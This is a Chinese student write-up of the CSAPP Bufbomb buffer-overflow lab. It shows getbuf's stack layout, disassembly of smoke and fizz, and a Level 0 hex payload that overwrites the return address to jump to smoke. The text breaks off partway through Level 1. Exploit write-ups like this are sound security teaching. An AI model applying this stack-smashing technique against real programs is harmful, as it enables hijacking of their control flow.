[CSAPP]Bufbomb实验报告

Bufbomb实验报告

实验分析:

level 0-3从test开始制执行,通过函数getbuf向外界读取一串内容(buf).

Level 4 是通过参数-n,程序执行testn函数,调用getbufn函数向外界读取一串内容(bufn).

实验要求我们通过getbuf读取内容时不检查边界的这一特性,输入过多的内容把栈里面的东西修改掉,使得程序发生预定的错误.

实验给了我们三个材料:

①是bufbomb也就是炸弹的主程序;

②是hex2raw,用来对bufbomb进行输入,从ppt里我们可以知道,通过

./hex2raw < filename | ./bufbomb -u username

来达到对炸弹输入数据的过程;

③是makecookie,用来生成一个你的username cookie.

这里我的cookie是:0x57fa817c

 

通过反汇编指令对bufbomb进行反汇编,会得到反汇编代码.

首先我们可以看到ppt中告知是test函数中开始作用,调用了getbuf函数读取数据,所以我们先从getbuf函数下手:

Getbuf汇编代码:

 

080491f4 <getbuf>:

 80491f4:        55                               push   %ebp

 80491f5:        89 e5                          mov    %esp,%ebp

 80491f7:        83 ec 38                     sub    $0x38,%esp

 80491fa:        8d 45 d8                     lea    -0x28(%ebp),%eax

 80491fd:        89 04 24                    mov    %eax,(%esp)

 8049200:       e8 f5 fa ff ff             call   8048cfa <Gets>

 8049205:       b8 01 00 00 00           mov    $0x1,%eax

 804920a:       c9                   leave 

 804920b:       c3                   ret   

栈的情况大致如下:

(高地址)

Getbuf返回地址

存放ebp

(存放buf内容)

(共40字节)

buf(ebp-0x28)

...

esp

(低地址)

 

Level 0:

实验要求:

修改getbuf()的返回地址,在执行完getbuf()后不是返回到原来的调用者test(),而是跳到一个叫做smoke()的函数里。

 

Somke函数汇编代码:

08048c18 <smoke>:

 8048c18:        55                               push   %ebp

 8048c19:        89 e5                          mov    %esp,%ebp

 8048c1b:        83 ec 18                      sub    $0x18,%esp

 8048c1e:        c7 04 24 d3 a4 04 08             movl   $0x804a4d3,(%esp)

 8048c25:       e8 96 fc ff ff            call   80488c0 <puts@plt>

 8048c2a:       c7 04 24 00 00 00 00            movl   $0x0,(%esp)

 8048c31:        e8 45 07 00 00          call   804937b <validate>

 8048c36:       c7 04 24 00 00 00 00            movl   $0x0,(%esp)

 8048c3d:       e8 be fc ff ff             call   8048900 <exit@plt>

显然,实验要求我们修改getbuf返回地址,将其修改为smoke函数的地址,就可以达到实验的目的了.反汇编程序,得到了smoke函数的首地址:08048c18,所以根据我们栈的结构,我们应建立文件输入48字节的16进制数(前40字节为buf数组的内容,可以为任意数,除了0a,也就是’\n’,会引起getbuf函数读取结束;后四字节为栈中ebp的值,因为我们只要将getbuf函数的返回地址修改就可以了,所以这四字节也可以为任意数,除了0a;最后四字节就是getbuf的返回地址啦,由于是小端机器,所以我们应该倒着输:18 8c 04 08)

那么我们就可以得到

00 01 02 03 04 05 06 07 08 09 00 01 02 03 04 05 06 07 08 09 00 01 02 03 04 05 06 07 08 09 00 01 02 03 04 05 06 07 08 09 01 02 03 04 18 8c 04 08

我编辑了一个名为test的文档,写入这些数字,通过hex2raw对bufbomb进行输入.

指令: ./hex2raw < filename | ./bufbomb -uusername


当当当,这样我们就能得到实验结果解决了第一个实验啦!

Level 1:

实验要求:

与实验1大同小异,都是让getbuf()的调用者test()执行一个代码里未调用的函数,实验2中是fizz()函数。并且传入我们的cookie作为参数,让fizz()打印出来

 

Fizz函数汇编代码:

08048c42 <fizz>:

 8048c42:       55                               push   %ebp

 8048c43:       89 e5                          mov    %esp,%ebp

 8048c45:       83 ec 18                      sub    $0x18,%esp

 8048c48:       8b 45 08                    mov    0x8(%ebp),%eax//cookie

 8048c4b:       3b 05 08 d1 04 08      cmp    0x804d108,%eax

 8048c51:        75 26                          jne    8048c79 <fizz+0x37>

 8048c53:       89 44 24 08               mov    %eax,0x8(%esp)

 8048c57:       c7 44 24 04 ee a4 04             movl   $0x804a4ee,0x4(%esp)

 8048c5e:       08

 8048c5f:       c7 04 24 01 00 00 00             movl   $0x1,(

评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值